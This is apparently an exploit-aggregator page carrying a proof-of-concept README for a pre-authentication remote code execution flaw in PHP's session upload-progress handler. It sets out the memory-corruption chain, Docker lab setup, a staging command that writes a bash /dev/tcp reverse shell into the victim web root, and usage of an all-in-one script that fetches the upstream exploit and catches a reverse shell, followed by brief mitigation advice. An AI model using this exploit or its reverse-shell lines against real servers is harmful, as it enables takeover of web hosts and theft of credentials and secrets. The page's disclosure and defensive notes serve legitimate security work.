Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
★ CVE-2026-109618 / CVE-2026-109619 PHP `session.upload_progress` Pre-Auth RCE PoC ★
> **PHP2Shell** (CVE-2026-109618 / CVE-2026-109619) is an **unauthenticated Remote Code Execution** flaw in PHP under Apache `mod_php`.
> A crafted `multipart/form-data` request triggers an out-of-memory bailout in the pre-request `session.upload_progress` handler, leaving stale pointers that leak the Zend heap and `libphp.so` bases via `Set-Cookie` (defeating ASLR); a forged HashTable then redirects a destructor to `zif_system`, running commands as the web worker (`www-data`).
> No authentication is required and the vulnerable session settings are on by default.
| **Vulnerable** | PHP **8.2.x / 8.3.x / 8.4.x / 8.5.x** before the patch |
| **Patched** | PHP **8.5.12 · 8.4.27 · 8.3.36 · 8.2.35** or later (2026-10-21) |
| **Verified on** | official `php:8.4.26-apache` (Debian 13, **amd64**) |
> Offsets are per-build (version · arch · distro). This PoC ships a profile for `8.4.26-apache amd64`; other builds need their own `profiles/*.json`.
- Remote Code Execution as the web worker account (`www-data`)
- Full read/write of the document root, app config, DB credentials, and secrets reachable by that account
- Memory disclosure (heap / `libphp` pointers, and potentially session tokens and keys) even before RCE
Victim = official `php:8.4.26-apache` with the config below. The attacker runs from a separate
container (`eqst-kali`) on the same Docker bridge; the reverse shell calls back to its IP.
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
| PHP 8.2–8.5 (pre-patch) + Apache `mod_php` | PHP 8.4.26 / Apache 2.4.69, prefork |
| `session.upload_progress.enabled` | On (**default**) |
| `session.use_strict_mode` | 0 (**default**) |
| `display_errors` | On (ships the stage-1 leak) |
| `memory_limit` low enough to OOM on a large body | 8M |
| `post_max_size` / `upload_max_filesize` >= attack body | 64M (upload-heavy apps raise these in prod) |
| Single prefork worker (stale state is per-worker) | 1 |
> **Host note (WSL2):** on Windows Docker Desktop (WSL2) the kernel maps `libphp` at `0x7c...`,
> below the upstream exploit's `0x7F...` ASLR check, so it discards the valid leak. `p2s_shell.py`
> auto-widens that range. On a native Linux host the patch is a no-op.
`p2s_shell.py` is a single process that **opens its own listener, fetches the upstream exploit,
picks offsets from `profiles/*.json` by the target's PHP version, triggers the chain, and catches
a PTY-upgraded reverse shell** (no separate `nc`).
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
One-time prerequisite: stage the reverse-shell payload in the victim web root (the command carrier
is **14 bytes**, so long payloads go in a file run via `bash& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
Run the PoC from inside the attacker (paths are relative to the script):
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u
python3 p2s_shell.py -u --run 'id;uname -a'
It fingerprints `X-Powered-By: PHP/8.4.26`, loads the matching profile, and pops the shell:
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
- Upgrade PHP to **8.5.12 / 8.4.27 / 8.3.36 / 8.2.35** or later (the only complete fix); restart workers after
- Set `session.upload_progress.enabled = Off` if upload progress is not used
- Set `display_errors = Off` in production (blocks the shipped stage-1 leak)
- Run PHP as an unprivileged user with a read-only document root; rate-limit large multipart bodies at the edge
- Monitor for multipart requests with ~1000 fields, very large bodies, repeated OOM/500s, Apache child crashes, and `zend_mm_heap corrupted` log lines
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
